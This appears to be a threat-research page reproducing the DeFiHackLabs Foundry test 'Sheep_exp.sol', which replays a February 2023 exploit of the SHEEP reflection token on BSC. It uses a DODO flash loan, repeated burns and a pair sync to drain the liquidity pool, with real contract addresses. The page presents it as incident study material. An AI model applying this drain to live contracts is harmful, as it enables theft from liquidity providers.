Public reproduction file
src/test/2023-02/Sheep_exp.sol
Public reproduction file for dataset entry - Sheep.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/16239997174820454409// https://twitter.com/BlockSecTeam/status/162407707885221069110// @TX11// https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e12// Related Events13// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token14// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token16interface RDeflationERC20 is IERC20 {17 function burn(18 uint256 amount19 ) external;20}22contract ContractTest is Test {23 RDeflationERC20 SHEEP = RDeflationERC20(0x0025B42bfc22CbbA6c02d23d4Ec2aBFcf6E014d4);24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);25 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);26 Uni_Pair_V2 Pair = Uni_Pair_V2(0x912DCfBf1105504fB4FF8ce351BEb4d929cE9c24);27 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);31 function setUp() public {32 cheats.createSelectFork("bsc", 25_543_755);33 }35 function testExploit() public {36 DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));38 emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);39 }41 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {42 WBNBToSHEEP();43 while (SHEEP.balanceOf(address(Pair)) > 2) {44 uint256 burnAmount = SHEEP.balanceOf(address(this));45 SHEEP.burn(burnAmount);46 }47 Pair.sync();48 SHEEPToWBNB();49 WBNB.transfer(dodo, 380 * 1e18);50 }52 function WBNBToSHEEP() internal {53 WBNB.approve(address(Router), type(uint256).max);54 address[] memory path = new address[](2);55 path[0] = address(WBNB);56 path[1] = address(SHEEP);57 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(58 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp59 );60 }62 function SHEEPToWBNB() internal {63 SHEEP.approve(address(Router), type(uint256).max);64 address[] memory path = new address[](2);65 path[0] = address(SHEEP);66 path[1] = address(WBNB);67 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(68 SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp69 );70 }71}Analysis
Dataset entry
Public Foundry test for “- Sheep” (2023-02-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
- src/test/2022-11/SheepFarm_exp.solSame protocol or name in the dataset · 55 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Sheep
- Path
- src/test/2023-02/Sheep_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 18bc19279d5950b5d5b39fb322168ee6782d225d
- Language
- Solidity
- Size
- 72 lines
- Date
- 2023-02-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/Sheep_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 18bc19279d5950b5d5b39fb322168ee6782d225d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.